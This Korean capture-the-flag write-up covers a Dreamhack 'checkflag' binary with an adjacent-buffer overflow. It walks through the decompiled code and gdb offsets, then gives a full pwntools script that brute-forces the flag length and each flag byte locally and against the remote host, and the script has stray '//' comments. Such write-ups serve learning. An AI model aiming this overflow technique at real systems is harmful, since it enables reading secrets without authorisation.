우선 해당 바이너리를 IDA로 디컴파일했을 때 나오는 코드이다.
첫번째로 해당 repo에 flag라는 파일이 있어야 실행이 된다. 그렇지 않다면 LABEL 8으로 넘어가 종료가 된다. v5가 flag의 값을 받게 된다면 그 값을 v6에 옮기고 fgets함수를 통해 그 값을 v11에 넘겨주고, v6가 종료됨에 따라 종료된다.
fputs()함수를 통해 "What's the flag? "라는 문구를 출력하게 되고 read함수를 통해 v10은 0xc8(200)만큼을 입력받게 된다.
v11과 v7이 같거나 작을 때, 그리고 v10과 v11의 문자열이 같게되면 correct!가 출력이 되고, 그렇지 않다면 Failed가 출력이 된다.
취약점 분석우선 취약점들을 설명하자면, v10이 입력받는 read함수를 통해 BOF가 일어난다는 점과, v10과 v11이 붙어있다는 점이다. v10의 크기는 64이고 read함수를 통해 받는 크기는 0xc8(200)이기 때문에 버퍼오버플로우가 일어날 수 있게 된다. v7의 경우 v10의 길이를 입력받는다. 만약 v10의 크기를 넘어서는 값을 받게 된다면 v11에 나머지의 값이 바뀔 수도 있다. 이를 증명하기 위해 나는 gdb를 열어보았다.
우선 read에 break를 걸고 read앞까지 run을 돌려보았다. read 함수의 buf는 0x7fffffffe2f0, flag의 값(hare{Veritas_hare}\n)은 0x7fffffffe330이다. flag의 값은 v11에 위치한다고 앞에서 설명했다. 즉, v10과 v11은 0x40만큼 차이난다는 것을 알 수 있다. 또한 BOF가 일어난다고 했으니 v11을 덮을 수 있음을 알 수 있다.
v11을 잘 덮으면서 v10의 값을 조금씩 변화시킨다면(brute force) 무슨 값인지 유추해볼 수 있을 것이다.
Exploit code
from pwn import *
context.log_level = 'debug'
flaglen = 0x40;
for i in range(0x40):
p = process('./checkflag')
#p = remote('host3.dreamhack.games', 14552)
payload = b'a'*(0x40-i-1) //v10
payload += b'\x00'*(i+1)
payload += b'a'*(0x40-i-1) //v11
p.sendafter('flag? ', payload)
if b'Correct!' in p.recvline():
flaglen -= 1;
p.close()
else:
p.close()
break
print("flag_len :" + hex(flaglen))
flag = b'\n'
for i in range(flaglen):
for j in range(0x20, 0x7f):
p = process('./checkflag')
#p = remote('host3.dreamhack.games', 14552)
buf = b'a' * (flaglen-i-1)
buf += bytes([j])
buf += flag
buf += b'\x00' * (0x40 - len(buf))
buf += b'a' * (flaglen-i-1)
p.sendafter('flag? ', buf)
if b'Correct!' in p.recvline():
flag = bytes([j]) + flag
print(flag)
p.close()
break
else:
p.close()
처음에는 길이를 알았으니, 이제는 디테일한 값을 알아낼 차례이다. 우선 flag에 초기 값이 다른데 '\x00'이나 '\n'중 하나이다. flag를 내가 만들었을 때는 자연스럽게 개행문자가 저장이 되지만, dreamhack에서는 '\x00'으로 끝나게 되어있었다. 이 떄문에 공격이 늦어진 이유중 하나였다(0x20 ~ 0x7e까지 값 밖에 비교하지 않기 때문).local에서 잘 나오는 것을 볼 수 있다.
remote했을 때도 역시 잘 나온다.
remote와 local의 차이는 위에 있는 코드에서 주석처리를 어디했느냐에 차이이다.